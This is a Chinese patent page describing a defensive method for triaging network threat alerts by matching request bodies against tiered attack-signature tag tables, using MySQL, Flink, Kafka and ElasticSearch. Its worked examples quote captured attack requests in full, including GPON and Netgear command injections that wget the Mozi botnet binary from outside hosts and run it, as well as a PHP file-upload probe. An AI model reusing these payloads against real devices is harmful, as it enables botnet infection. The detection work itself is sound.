CN114584402A - 一种基于攻击特征识别标签库的威胁过滤研判方法 - Google Patents

一种基于攻击特征识别标签库的威胁过滤研判方法 Download PDF

Info

Publication number
CN114584402A
CN114584402A CN202210488729.2A CN202210488729A CN114584402A CN 114584402 A CN114584402 A CN 114584402A CN 202210488729 A CN202210488729 A CN 202210488729A CN 114584402 A CN114584402 A CN 114584402A
Authority
CN
China
Prior art keywords
event
identification
tag
threat
general
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Granted
Application number
CN202210488729.2A
Other languages
English (en)
Other versions
CN114584402B (zh
Inventor
刘彦伸
朱涛涛
周永
单易
吴艳
郭银锋
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Zhejiang Yu'an Information Technology Co ltd
Original Assignee
Zhejiang Yu'an Information Technology Co ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Zhejiang Yu'an Information Technology Co ltd filed Critical Zhejiang Yu'an Information Technology Co ltd
Priority to CN202210488729.2A priority Critical patent/CN114584402B/zh
Publication of CN114584402A publication Critical patent/CN114584402A/zh
Application granted granted Critical
Publication of CN114584402B publication Critical patent/CN114584402B/zh
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Images

Classifications

    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1408Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic by monitoring network traffic
    • H04L63/1416Event detection, e.g. attack signature detection

Abstract

本发明公开了一种基于攻击特征识别标签库的威胁过滤研判方法,包括以下步骤:识别到疑似的威胁事件的流量时,通过字段提取事件的载荷或请求体,先进行高度识别标签组过滤,若匹配到高度识别标签,则将该事件直接放入高可疑事件列表;若未匹配到高度识别标签,则进入中度识别标签组过滤,若匹配发现超过第一数量的中度识别标签,则将该事件直接放入高可疑事件列表,若匹配到的中度识别标签小于第一数量,则将该事件直接放入一般可疑事件列表;若未匹配到中度识别标签,识别标签组过滤,若匹配发现超过第二数量的一般识别标签,则将该事件直接放入一般可疑事件列表,若匹配到的一般识别标签小于第二数量,则对该事件不做处理。

Description

一种基于攻击特征识别标签库的威胁过滤研判方法
技术领域
本发明属于网络安全技术领域,具体涉及一种基于攻击特征识别标签库的威胁过滤研判方法。
背景技术
威胁研判是网络安全处理的一个阶段,整体过程是通过部署在网络及服务器等资产上的探针进行收集,然后将各个探针的流量汇总到威胁监测平台形成安全事件。安全事件的内容主要包含资产受到的攻击、网络渗透等行为的数据流量包。为了防止该资产及相关网络受到持续的攻击,一般在受到攻击后对攻击方进行调查,将攻击方的IP进行封堵。但是传送的流量很多都属于无关紧要的告警和误报,导致总体的威胁事件不仅量大,且很多都不是真正的网络攻击事件,因此不能一概而论的将这些事件涉及的IP进行随意的封堵,需要通过一个研判流程来找出真正有威胁的事件。
由于处理威胁事件最终需要对IP进行封堵,一旦出现错误,有时候会造成极其严重的后果,所以为保证威胁事件研判的准确性,目前相关工作全部是由人工进行手动研判。每研判一条事件,需要查看该事件的各种详情以及请求体、响应体等,而没有经过过滤的流量,每天会产生大约几万条的事件告警,而其中真正有威胁的事件大约只有几十条而已,威胁事件的占比仅仅在千分之一左右,意味着研判人员每查看一千条告警事件才能找到一条威胁事件,其中无关紧要的告警事件花费了研判人员大量的时间和精力。
为解决该问题,设计一种基于攻击特征识别标签库的威胁过滤研判方法。该技术方法针对目前的威胁监测平台监测事件流量时未对其进行过滤,导致呈现在研判人员眼中的事件数量十分巨大的问题,设计通过特定攻击特征识别标签库,对事件内容进行深度剖析,将其中的无用流量及事件信息进行过滤,保证最终筛选到的威胁事件相对真实有效,使研判速率得到极大提升。
发明内容
鉴于以上存在的技术问题,本发明提供一种基于攻击特征识别标签库的威胁过滤研判方法,用于对事件内容进行深度剖析,将其中的无用流量及事件信息进行过滤,保证最终筛选到的威胁事件相对真实有效,使研判速率得到极大提升。
为解决上述技术问题,本发明采用如下的技术方案:
一种基于攻击特征识别标签库的威胁过滤研判方法,包括以下步骤:
建立包括高度识别标签组、中度识别标签组和一般识别标签的分组标签库;识别到疑似的威胁事件的流量时,通过字段提取事件的载荷或请求体,先进行高度识别标签组过滤,与高度识别标签进行匹配,若匹配到高度识别标签,则将该事件直接放入高可疑事件列表;若未匹配到高度识别标签,则进入中度识别标签组过滤,与中度识别标签进行匹配,若匹配发现超过第一数量的中度识别标签,则将该事件直接放入高可疑事件列表,若匹配到的中度识别标签小于第一数量,则将该事件直接放入一般可疑事件列表;若未匹配到中度识别标签,则进入一般识别标签组过滤,与一般识别标签进行匹配,若匹配发现超过第二数量的一般识别标签,则将该事件直接放入一般可疑事件列表,若匹配到的一般识别标签小于第二数量,则对该事件不做处理。
一种可能设计中,进一步包括:对于一般可疑事件列表,若进行研判处理发现新型且没有被录入标签识别库的标签,记录并进行上报,对新发现的标签进行评级后录入到相应级别的分组标签库中。
一种可能设计中,建立包括高度识别标签组、中度识别标签组和一般识别标签的分组标签库包括在MySQL数据库中分别建立不同等级的攻击特征识别标签表,高度识别标签表h_tag、中度识别标签表m_tag和一般识别标签表l_tag。
一种可能设计中,识别疑似的威胁事件的流量过程包括:
在ElasticSearch中建立高可疑事件索引h_threat和一般可疑事件索引n_threat用于存放事件信息;
在Flink中自定义数据源tag_source用于读取MySQL中的全部标签表,等待与从Kafka中读取的数据进行合并处理;
在Kafka中新建一个主题threat,并将从流量中解析出来的威胁事件全部写入该主题中;
在Flink中自定义数据源threat_source用于实时消费Kafka中的威胁事件数据,并且和tag_source进行合并处理。
一种可能设计中,通过字段提取事件的载荷或请求体,先进行高度识别标签组过滤,与高度识别标签进行匹配,若匹配到高度识别标签,则将该事件直接放入高可疑事件列表包括:将待匹配列表先和tag_source中的高度识别标签数据进行对比,同时初始化整数变量h=0并进行计数,当h的值大于等于1时结束分析,并将威胁事件写入到ElasticSearch中的高可疑事件索引h_threat中。
一种可能设计中,若未匹配到高度识别标签,则进入中度识别标签组过滤,与中度识别标签进行匹配,若匹配发现超过第一数量的中度识别标签,则将该事件直接放入高可疑事件列表,若匹配到的中度识别标签小于第一数量,则将该事件直接放入一般可疑事件列表包括:若该次分析活动结束后h的值小于1,则进行中度识别标签数据的对比,初始化整数变量m=0并进行计数,当m的值大于等于第一数量时结束分析活动,并将这条威胁事件写入到ElasticSearch中的高可疑事件索引h_threat中;若该次分析活动结束后m的值小于第一数量, 并将这条威胁事件写入到ElasticSearch中的一般可疑事件索引n_threat中。
一种可能设计中,若未匹配到中度识别标签,则进入一般识别标签组过滤,与一般识别标签进行匹配,若匹配发现超过第二数量的一般识别标签,则将该事件直接放入一般可疑事件列表包括:若分析活动后m的值小于1,则进行一般识别标签数据的对比,初始化整数变量l=0并进行计数,当l的值大于等于第二数量时结束分析活动,并将威胁事件写入到ElasticSearch中的一般可疑事件索引n_threat中。
一种可能设计中,进一步包括:利用Flink CDC监听MySQL中标签表bin log日志,发现数据变化后重新读取变化后的内容并更新到tag_source中。
采用本发明具有如下的有益效果:使用该过滤研判方法后,预计过滤到高可疑事件列表中的事件占比约为3%左右,过滤到一般可疑事件列表的事件占比约为10%左右,即若每小时生成1000条事件,可过滤出30条高可疑事件和100条一般可疑事件,研判人员只需查看过滤出来的事件即可,工作量减少了87%。
附图说明
图1为本发明实施例的一种基于攻击特征识别标签库的威胁过滤研判方法的步骤流程图。
具体实施方式
下面将结合本发明实施例中的附图,对本发明实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例是本发明一部分实施例,而不是全部的实施例。基于本发明中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都属于本发明保护的范围。
参照图1,所示为本发明实施例的一种基于攻击特征识别标签库的威胁过滤研判方法,包括以下步骤:
建立包括高度识别标签组、中度识别标签组和一般识别标签的分组标签库;识别到疑似的威胁事件的流量时,通过字段提取事件的载荷或请求体,先进行高度识别标签组过滤,与高度识别标签进行匹配,若匹配到高度识别标签,则将该事件直接放入高可疑事件列表;若未匹配到高度识别标签,则进入中度识别标签组过滤,与中度识别标签进行匹配,若匹配发现超过第一数量的中度识别标签,则将该事件直接放入高可疑事件列表,若匹配到的中度识别标签小于第一数量,则将该事件直接放入一般可疑事件列表;若未匹配到中度识别标签,则进入一般识别标签组过滤,与一般识别标签进行匹配,若匹配发现超过第二数量的一般识别标签,则将该事件直接放入一般可疑事件列表,若匹配到的一般识别标签小于第二数量,则对该事件不做处理。此实施例中,第一数量和第二数量取值都为3,本领域技术人员可以理解的是,第一数量和第二数量可以根据实际需要取不同的值。
本发明一实施例中,高度识别标签组中的标签是可以直接通过标签确定是真实的威胁攻击事件的标签组。中度识别标签组中的标签具有不确定性,往往需要多个标签来共同确定是否是一个真实的威胁事件。一般识别组中的标签都是可疑性比较小但是又不能完全忽略的标签,要有多个一般识别组中的标签,才能确定是否让其进入一般事件中让研判人员进一步查看;同时在此类事件中往往能发现未收录的标签,研判人员在查看时就能够将其发现并收录。
本发明一实施例中,建立包括高度识别标签组、中度识别标签组和一般识别标签的分组标签库包括:在MySQL数据库中分别建立不同等级的攻击特征识别标签表,高度识别标签表h_tag、中度识别标签表m_tag和一般识别标签表l_tag。
本发明又一实施例的一种基于攻击特征识别标签库的威胁过滤研判方法,进一步包括:对于一般可疑事件列表,若进行研判处理发现新型且没有被录入标签识别库的标签,记录并进行上报,对新发现的标签进行评级后录入到相应级别的分组标签库中。
本发明一实施例中,识别到疑似的威胁事件的流量时,通过字段提取事件的载荷或请求体,先进行高度识别标签组过滤,与高度识别标签进行匹配,若匹配到高度识别标签,则将该事件直接放入高可疑事件列表;若未匹配到高度识别标签,则进入中度识别标签组过滤,与中度识别标签进行匹配,若匹配发现超过第一数量的中度识别标签,则将该事件直接放入高可疑事件列表,若匹配到的中度识别标签小于第一数量,则将该事件直接放入一般可疑事件列表;若未匹配到中度识别标签,则进入一般识别标签组过滤,与一般识别标签进行匹配,若匹配发现超过第二数量的一般识别标签,则将该事件直接放入一般可疑事件列表,若匹配到的一般识别标签小于第二数量,则对该事件不做处理包括:
在ElasticSearch中建立高可疑事件索引h_threat和一般可疑事件索引n_threat用来存放事件信息;威胁事件的字段都是JSON格式,而且数据量很大,采用ElasticSearch进行存储。且在之后的搜索使用过程中,ElasticSearch也能提供更好的性能和体验。
在Flink中自定义数据源tag_source用来读取MySQL中的全部标签表,等待和从Kafka中读取的数据进行合并处理;利用Flink读取MySQL中的标签数据和Kafka中的事件数据进行真正的流计算处理,可以在极短的时间内完成事件的分析,保证威胁事件的时效性。
在Kafka中新建一个主题threat,并将从流量中解析出来的威胁事件全部写入到该主题中;通过引入Kafka,保证在海量威胁事件接入的过程中,系统也能平稳的完成事件分析,解决可能会出现的性能问题和数据丢失情况。
在Flink中自定义数据源threat_source用来实时消费Kafka中的威胁事件数据,并且和tag_source进行合并处理;
从threat_source中取出一条威胁事件并获取到它的请求体,同时根据正则利用“/”、“ ”、“:”、“=”、“&”等符号将请求体的内容分割成一个个字段放入到待匹配列表等待对比分析;
对比分析开始:将待匹配列表先和tag_source中的高度识别标签数据进行对比,同时初始化整数变量h=0并进行计数,当h的值大于等于1时结束分析活动,并将这条威胁事件写入到ElasticSearch中的高可疑事件索引h_threat中。若该次分析活动结束后h的值小于1,则进行中度识别标签数据的对比,初始化整数变量m=0来进行计数,当m的值大于等于3时结束分析活动,并将这条威胁事件写入到ElasticSearch中的高可疑事件索引h_threat中。若该次分析活动结束后m的值大于0而小于3, 并将这条威胁事件写入到ElasticSearch中的一般可疑事件索引n_threat中。若该次分析活动后m的值小于1,则进行一般识别标签数据的对比,初始化整数变量l=0并进行计数,当l的值大于等于3时结束分析活动,并将这条威胁事件写入到ElasticSearch中的一般可疑事件索引n_threat中。
ElasticSearch是一个高度可伸缩的全文搜索引擎。ElasticSearch可以帮助快速、实时地存储、搜索和分析大量数据,它通常作为互联网应用的内部搜索引擎,为需要复杂搜索功能的应用提供支持。Apache Flink是一个框架和分布式处理引擎,用于对无界和有界数据流进行有状态计算。Flink设计为在所有常见的集群环境中运行,以内存速度和任何规模执行计算。Apache Kafka是一款开源的消息系统,可以在系统中起到“削峰填谷”的作用,也可以用于异构、分布式系统中海量数据的异步化处理。
本发明又一实施例的一种基于攻击特征识别标签库的威胁过滤研判方法,进一步包括:利用Flink CDC监听MySQL中标签表bin log日志,发现数据变化后重新读取变化后的内容并更新到tag_source中。
在具体应用实例中,高度识别标签例如Gpon、Webshell、dedecms、install.txt、install.php等;中度识别标签例如php、shell、Mozi、upload、server等;一般识别标签例如Get、Post、cd、wget、/etc、/tmp、/*等。
本发明一具体应用实例的一种基于攻击特征识别标签库的威胁过滤研判方法,包括以下步骤:
S1,在MySQL数据库中分别建立不同等级的攻击特征识别标签表,高度识别标签表h_tag、中度识别标签表m_tag和一般识别标签表l_tag,在h_tag表中存入Gpon、Webshell、dedecms、install.txt、install.php,在m_tag表中存入php、shell、Mozi、upload、server,在l_tag表中存入Get、Post、cd、wget、/etc、/tmp;
S2,在Elasticsearch中建立高可疑事件索引h_threat和一般可疑事件索引n_threat;
S3,在Flink中自定义一个数据源tag_source并从MySQL中读取所有标签表;
S4,在Kafka中新建一个主题threat,并将从流量中解析出来的威胁事件全部写入到该主题中;
S5,在Flink中自定义一个数据源threat_source并消费Kafka中的数据;
S6,开始从Kafka中的threat消费第一条威胁事件A,获取它的请求体
“POST /GponForm/diag_Form images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wgethttp://192.168.1.1:8088/Mozi.m -O ->/tmp/gpon8080;sh /tmp/gpon8080&ipv=0”
S7,根据对应的正则进行分割,获得待匹配字段列表,如表1所示。
表 1待匹配字段列表
Figure DEST_PATH_IMAGE001
与高度识别标签组标签对比时发现“Gpon”标签,可直接判断出其为“GPON HomeGateway远程命令执行漏洞(CVE-2018-10561/CVE-2018-10562)”攻击,所以将其放入高可疑事件列表当中;
即初始化变量h=0,将待匹配字段列表和tag_source中的高度识别标签数据进行对比,h用来进行匹配结果计数,结束后h=1,符合高可疑事件条件,将结果写入到ElasticSearch中的h_threat索引。
S8,开始从Kafka中的threat消费第二条威胁事件B,获取它的请求体
POST /jquery-file-upload/server/php/upload.class.php HTTP/1.1
Content-Type: multipart/form-data; boundary=a211583f728c46a09ca726497e0a5a9f
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Content-Length: 184
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Host: jkm-zj.online-cmcc.cn
Connection: Keep-alive
--a211583f728c46a09ca726497e0a5a9f
Content-Disposition: form-data; name="files[]"; filename="qxxzhmrh.php"
<php print(md5('this is a test')); >
--a211583f728c46a09ca726497e0a5a9f--
同理根据对应的正则进行分割,获得待匹配字段列表。
先与高度识别标签组标签对比,未发现匹配的高度识别标签;然后再与中度识别标签组中的标签进行对比,发现了“upload”、“server”、“php”三个中度识别标签,所以将该事件放入高度可疑事件列表当中即初始化变量h=0,将待匹配字段列表和tag_source中的高度识别标签数据进行对比,h用来进行匹配结果计数,结束后h=0;初始化变量m=0,将待匹配字段列表和tag_source中的中度识别标签数据进行对比,m用来进行匹配结果计数,结束后m=3, 符合高可疑事件条件,将结果写入到ElasticSearch中的h_threat索引。
S9,开始从Kafka中的threat消费第三条威胁事件C,获取它的请求体
GET /shell cd /tmp;rm -rf *;wget http://192.168.1.1:8088/Mozi.a;chmod777 Mozi.a;/tmp/Mozi.a jaws HTTP/1.1
User-Agent: Hello, world
Host: 211.140.9.100:80
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
同理根据对应的正则进行分割,获得待匹配字段列表。
先与高度识别标签组标签对比,未发现匹配的高度识别标签;然后再与中度识别标签组中的标签进行对比,发现了“shell”、“Mozi”两个中度识别标签,所以将该事件放入一般可疑事件列表当中。即初始化变量h=0,将待匹配字段列表和tag_source中的高度识别标签数据进行对比,h用来进行匹配结果计数,结束后h=0;初始化变量m=0,将待匹配字段列表和tag_source中的中度识别标签数据进行对比,m用来进行匹配结果计数,结束后m=2,符合一般可疑事件条件,将结果写入到ElasticSearch中的n_threat索引。
S10,开始从Kafka中的threat消费第四条威胁事件D,获取它的请求体
GET /setup.cgi next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;
wget http://27.215.125.138:59417/Mozi.m -O /tmp/netgear;sh netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
同理根据对应的正则进行分割,获得待匹配字段列表。
先与高度识别标签组标签对比,未发现匹配的高度识别标签;然后再与中度识别标签组中的标签进行对比,也未发现匹配的中度度识别标签;最后再与一般识别标签组中的标签进行对比,发现了“wget”、“GET”、“/tmp”、“/*”四个一般识别标签,所以将该事件放入一般可疑事件列表当中。其中,当研判人员进行最终事件确定时发现该事件还存在一个未录入的标签“netgear”,则将其进行上报处理,有响应人员对该标签进行评估级别后,确认为高度识别标签,放入对应的高度识别标签组中。
即初始化变量h=0,将待匹配字段列表和tag_source中的高度识别标签数据进行对比,h用来进行匹配结果计数,结束后h=0;初始化变量m=0,将待匹配字段列表和tag_source中的中度识别标签数据进行对比,m用来进行匹配结果计数,结束后m=0;初始化变量l=0,将待匹配字段列表和tag_source中的一般识别标签数据进行对比,l用来进行匹配结果计数,结束后l=4,符合一般可疑事件条件,将结果写入到ElasticSearch中的n_threat索引。
S11,所有事件处理完成后进行研判操作,发现新标签“netgear”,则将其进行上报处理,有响应人员对该标签进行评估级别后,确认为高度识别标签,放入到MySQL中的h_tag表。
S12,利用Flink CDC监听MySQL中标签表bin log日志,发现数据变化后重新读取变化后的内容并更新到tag_source中。
通过以上实施例的一种基于攻击特征识别标签库的威胁过滤研判方法,用于对事件内容进行深度剖析,将其中的无用流量及事件信息进行过滤,保证最终筛选到的威胁事件相对真实有效,使研判速率得到极大提升。预计过滤到高可疑事件列表中的事件占比约为3%左右,过滤到一般可疑事件列表的事件占比约为10%左右,即若每小时生成1000条事件,可过滤出30条高可疑事件和100条一般可疑事件,研判人员只需查看过滤出来的事件即可,工作量减少了87%。
应当理解,本文所述的示例性实施例是说明性的而非限制性的。尽管结合附图描述了本发明的一个或多个实施例,本领域普通技术人员应当理解,在不脱离通过所附权利要求所限定的本发明的精神和范围的情况下,可以做出各种形式和细节的改变。

Claims (8)

1.一种基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,包括以下步骤:
建立包括高度识别标签组、中度识别标签组和一般识别标签的分组标签库;识别到疑似的威胁事件的流量时,通过字段提取事件的载荷或请求体,先进行高度识别标签组过滤,与高度识别标签进行匹配,若匹配到高度识别标签,则将该事件直接放入高可疑事件列表;若未匹配到高度识别标签,则进入中度识别标签组过滤,与中度识别标签进行匹配,若匹配发现超过第一数量的中度识别标签,则将该事件直接放入高可疑事件列表,若匹配到的中度识别标签小于第一数量,则将该事件直接放入一般可疑事件列表;若未匹配到中度识别标签,则进入一般识别标签组过滤,与一般识别标签进行匹配,若匹配发现超过第二数量的一般识别标签,则将该事件直接放入一般可疑事件列表,若匹配到的一般识别标签小于第二数量,则对该事件不做处理。
2.如权利要求1所述的基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,进一步包括:对于一般可疑事件列表,若进行研判处理发现新型且没有被录入标签识别库的标签,记录并进行上报,对新发现的标签进行评级后录入到相应级别的分组标签库中。
3.如权利要求1所述的基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,建立包括高度识别标签组、中度识别标签组和一般识别标签的分组标签库包括在MySQL数据库中分别建立不同等级的攻击特征识别标签表,高度识别标签表h_tag、中度识别标签表m_tag和一般识别标签表l_tag。
4.如权利要求2所述的基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,识别疑似的威胁事件的流量过程包括:
在ElasticSearch中建立高可疑事件索引h_threat和一般可疑事件索引n_threat用于存放事件信息;
在Flink中自定义数据源tag_source用于读取MySQL中的全部标签表,等待与从Kafka中读取的数据进行合并处理;
在Kafka中新建一个主题threat,并将从流量中解析出来的威胁事件全部写入该主题中;
在Flink中自定义数据源threat_source用于实时消费Kafka中的威胁事件数据,并且和tag_source进行合并处理。
5.如权利要求4所述的基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,通过字段提取事件的载荷或请求体,先进行高度识别标签组过滤,与高度识别标签进行匹配,若匹配到高度识别标签,则将该事件直接放入高可疑事件列表包括:将待匹配列表先和tag_source中的高度识别标签数据进行对比,同时初始化整数变量h=0并进行计数,当h的值大于等于1时结束分析,并将威胁事件写入到ElasticSearch中的高可疑事件索引h_threat中。
6.如权利要求5所述的基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,若未匹配到高度识别标签,则进入中度识别标签组过滤,与中度识别标签进行匹配,若匹配发现超过第一数量的中度识别标签,则将该事件直接放入高可疑事件列表,若匹配到的中度识别标签小于第一数量,则将该事件直接放入一般可疑事件列表包括:若该次分析活动结束后h的值小于1,则进行中度识别标签数据的对比,初始化整数变量m=0并进行计数,当m的值大于等于第一数量时结束分析活动,并将这条威胁事件写入到ElasticSearch中的高可疑事件索引h_threat中;若该次分析活动结束后m的值小于第一数量, 并将这条威胁事件写入到ElasticSearch中的一般可疑事件索引n_threat中。
7.如权利要求6所述的基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,若未匹配到中度识别标签,则进入一般识别标签组过滤,与一般识别标签进行匹配,若匹配发现超过第二数量的一般识别标签,则将该事件直接放入一般可疑事件列表包括:若分析活动后m的值小于1,则进行一般识别标签数据的对比,初始化整数变量l=0并进行计数,当l的值大于等于第二数量时结束分析活动,并将威胁事件写入到ElasticSearch中的一般可疑事件索引n_threat中。
8.如权利要求4至7任一所述的基于攻击特征识别标签库的威胁过滤研判方法,其特征在于,进一步包括:利用Flink CDC监听MySQL中标签表bin log日志,发现数据变化后重新读取变化后的内容并更新到tag_source中。
CN202210488729.2A 2022-05-07 2022-05-07 基于攻击特征识别标签库的威胁过滤研判方法 Active CN114584402B (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN202210488729.2A CN114584402B (zh) 2022-05-07 2022-05-07 基于攻击特征识别标签库的威胁过滤研判方法

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN202210488729.2A CN114584402B (zh) 2022-05-07 2022-05-07 基于攻击特征识别标签库的威胁过滤研判方法

Publications (2)

Publication Number Publication Date
CN114584402A true CN114584402A (zh) 2022-06-03
CN114584402B CN114584402B (zh) 2022-08-05

Family

ID=81767639

Family Applications (1)

Application Number Title Priority Date Filing Date
CN202210488729.2A Active CN114584402B (zh) 2022-05-07 2022-05-07 基于攻击特征识别标签库的威胁过滤研判方法

Country Status (1)

Country Link
CN (1) CN114584402B (zh)

Citations (12)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20150135262A1 (en) * 2012-05-03 2015-05-14 Shine Security Ltd. Detection and prevention for malicious threats
CN106656991A (zh) * 2016-10-28 2017-05-10 上海百太信息科技有限公司 一种网络威胁检测系统及检测方法
US20180262521A1 (en) * 2017-03-13 2018-09-13 Molbase (Shanghai) Biotechnology Co., Ltd Method for web application layer attack detection and defense based on behavior characteristic matching and analysis
CN109379374A (zh) * 2018-11-23 2019-02-22 四川长虹电器股份有限公司 基于事件分析的威胁识别预警方法和系统
CN111859400A (zh) * 2020-07-29 2020-10-30 中国工商银行股份有限公司 风险评估方法、装置、计算机系统和介质
CN111988265A (zh) * 2019-05-23 2020-11-24 深信服科技股份有限公司 一种网络流量攻击识别方法、防火墙系统及相关组件
CN112738016A (zh) * 2020-11-16 2021-04-30 中国南方电网有限责任公司 一种面向威胁场景的智能化安全事件关联分析系统
CN113014549A (zh) * 2021-02-01 2021-06-22 北京邮电大学 基于http的恶意流量分类方法及相关设备
CN113037555A (zh) * 2021-03-12 2021-06-25 中国工商银行股份有限公司 风险事件标记方法、风险事件标记装置和电子设备
CN113221107A (zh) * 2021-05-28 2021-08-06 西安热工研究院有限公司 一种面向工控系统的入侵检测规则匹配优化方法
CN114039758A (zh) * 2021-11-02 2022-02-11 中邮科通信技术股份有限公司 一种基于事件检测模式的网络安全威胁识别方法
CN114205128A (zh) * 2021-12-01 2022-03-18 北京安天网络安全技术有限公司 网络攻击分析方法、装置、电子设备及存储介质

Patent Citations (12)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20150135262A1 (en) * 2012-05-03 2015-05-14 Shine Security Ltd. Detection and prevention for malicious threats
CN106656991A (zh) * 2016-10-28 2017-05-10 上海百太信息科技有限公司 一种网络威胁检测系统及检测方法
US20180262521A1 (en) * 2017-03-13 2018-09-13 Molbase (Shanghai) Biotechnology Co., Ltd Method for web application layer attack detection and defense based on behavior characteristic matching and analysis
CN109379374A (zh) * 2018-11-23 2019-02-22 四川长虹电器股份有限公司 基于事件分析的威胁识别预警方法和系统
CN111988265A (zh) * 2019-05-23 2020-11-24 深信服科技股份有限公司 一种网络流量攻击识别方法、防火墙系统及相关组件
CN111859400A (zh) * 2020-07-29 2020-10-30 中国工商银行股份有限公司 风险评估方法、装置、计算机系统和介质
CN112738016A (zh) * 2020-11-16 2021-04-30 中国南方电网有限责任公司 一种面向威胁场景的智能化安全事件关联分析系统
CN113014549A (zh) * 2021-02-01 2021-06-22 北京邮电大学 基于http的恶意流量分类方法及相关设备
CN113037555A (zh) * 2021-03-12 2021-06-25 中国工商银行股份有限公司 风险事件标记方法、风险事件标记装置和电子设备
CN113221107A (zh) * 2021-05-28 2021-08-06 西安热工研究院有限公司 一种面向工控系统的入侵检测规则匹配优化方法
CN114039758A (zh) * 2021-11-02 2022-02-11 中邮科通信技术股份有限公司 一种基于事件检测模式的网络安全威胁识别方法
CN114205128A (zh) * 2021-12-01 2022-03-18 北京安天网络安全技术有限公司 网络攻击分析方法、装置、电子设备及存储介质

Non-Patent Citations (2)

* Cited by examiner, † Cited by third party
Title
侯艳芳等: "基于自更新威胁情报库的大数据安全分析方法", 《电信科学》 *
吴进等: "一种面向未知攻击的安全威胁发现技术研究", 《通信管理与技术》 *

Also Published As

Publication number Publication date
CN114584402B (zh) 2022-08-05

Similar Documents

Publication Publication Date Title
CN108881194B (zh) 企业内部用户异常行为检测方法和装置
CN112434208B (zh) 一种孤立森林的训练及其网络爬虫的识别方法与相关装置
CN103297435B (zh) 一种基于web日志的异常访问行为检测方法与系统
CN112468347B (zh) 一种云平台的安全管理方法、装置、电子设备及存储介质
CN111600919A (zh) 基于人工智能的web检测方法和装置
CN112149135A (zh) 安全漏洞知识图谱的构建方法及装置
CN112839014B (zh) 建立识别异常访问者模型的方法、系统、设备及介质
CN117081858B (zh) 一种基于多决策树入侵行为检测方法、系统、设备及介质
CN114389834B (zh) 一种api网关异常调用识别的方法、装置、设备及产品
CN114329455A (zh) 基于异构图嵌入的用户异常行为检测方法及装置
CN113282920B (zh) 日志异常检测方法、装置、计算机设备和存储介质
CN112583847B (zh) 一种面向中小企业网络安全事件复杂分析的方法
CN115795330A (zh) 一种基于ai算法的医疗信息异常检测方法及系统
CN116599743A (zh) 4a异常绕行检测方法、装置、电子设备及存储介质
CN117254983A (zh) 涉诈网址检测方法、装置、设备及存储介质
CN113746780A (zh) 基于主机画像的异常主机检测方法、装置、介质和设备
CN111431883A (zh) 一种基于访问参数的web攻击检测方法及装置
CN111026940A (zh) 一种面向电网电磁环境的网络舆情及风险信息监测系统、电子设备
CN114584402B (zh) 基于攻击特征识别标签库的威胁过滤研判方法
CN115102848A (zh) 日志数据的提取方法、系统、设备及介质
CN111475380B (zh) 一种日志分析方法和装置
CN114817928A (zh) 网络空间数据融合分析方法、系统、电子设备及存储介质
CN111611483A (zh) 一种对象画像构建方法、装置、设备及存储介质
CN113032774A (zh) 异常检测模型的训练方法、装置、设备及计算机存储介质
CN109508541A (zh) 一种基于语义分析的可信行为库生成方法

Legal Events

Date Code Title Description
PB01 Publication
PB01 Publication
SE01 Entry into force of request for substantive examination
SE01 Entry into force of request for substantive examination
GR01 Patent grant
GR01 Patent grant